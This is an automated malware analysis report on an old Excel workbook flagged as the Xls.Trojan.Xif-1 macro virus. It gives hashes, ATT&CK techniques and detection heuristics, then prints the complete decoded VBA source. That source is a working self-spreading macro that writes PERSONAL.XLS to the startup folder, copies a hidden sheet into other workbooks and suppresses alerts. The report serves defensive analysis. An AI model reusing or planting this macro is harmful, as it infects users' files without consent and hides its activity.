Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40977c988010f677…

MALICIOUS

Office (OLE)

29.0 KB Created: 1997-01-01 04:07:14 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: c2dd65e782c0911c609273c1e4c433ab SHA-1: 51db3810745ccc84648fbb3e27ab981ff31f7e18 SHA-256: 40977c988010f677de67e8eaa4764650bc21783da9e20316957bcc0b16c3a006
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This Excel document contains a VBA macro that is triggered by the Auto_Open event. The macro attempts to copy itself to the user's startup folder as PERSONAL.XLS, thereby establishing persistence. The script also manipulates Excel application settings to hide its activity. The ClamAV detection 'Xls.Trojan.Xif-1' further supports its malicious nature.

Heuristics 3

  • ClamAV: Xls.Trojan.Xif-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Xif-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1984 bytes
SHA-256: 383e2db83525d1025339392f6ce67263bdf455eb792154f2337fc328c7392282
Detection
ClamAV: Xls.Trojan.Xif-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xcel"


Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "XcelInfektion"
End Sub

Sub XcelInfektion()
Attribute XcelInfektion.VB_ProcData.VB_Invoke_Func = " \n14"
AW = ActiveWorkbook.Name
TW = ThisWorkbook.Name
PX = "PERSONAL.XLS"
PPX = Application.StartupPath & "\" & PX
X = "Xcel"

On Error GoTo Xcelerator
If Application.UserName = "zWeiBLuM" And Application.OrganizationName = "[LGM]" Then GoTo Xcelerator
With Application
.ScreenUpdating = False
.Caption = "Micro$oft Excel"
.EnableCancelKey = xlDisabled
.DisplayAlerts = False
End With

XcelInf = 0
If TW <> PX Then
If Dir(PPX) = PX Then XcelInf = 1
If XcelInf = 1 Then
GoTo Xcelerator
Else
Workbooks.Add.SaveAs Filename:=PPX
Workbooks(TW).Sheets(X).Copy Before:=Workbooks(PX).Sheets(1)
Workbooks(PX).Sheets(X).Visible = False
Workbooks(PX).Save
Windows(PX).Visible = False
End If
Else
Windows(PX).Visible = False
For a = 1 To Workbooks(AW).Sheets.Count
If Workbooks(AW).Sheets(a).Name = X Then XcelInf = 1
Next
If XcelInf = 1 Then
GoTo Xcelerator
Else
Workbooks(PX).Sheets(X).Copy Before:=Workbooks(AW).Sheets(1)
Workbooks(AW).Sheets(X).Visible = False
Workbooks(AW).Save
Windows(PX).Visible = False
End If
End If
Workbooks(PX).Save
Application.ScreenUpdating = True
Application.DisplayAlerts = True
Call XcelAk
Xcelerator:
End Sub
Sub XcelAk()

End Sub

Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True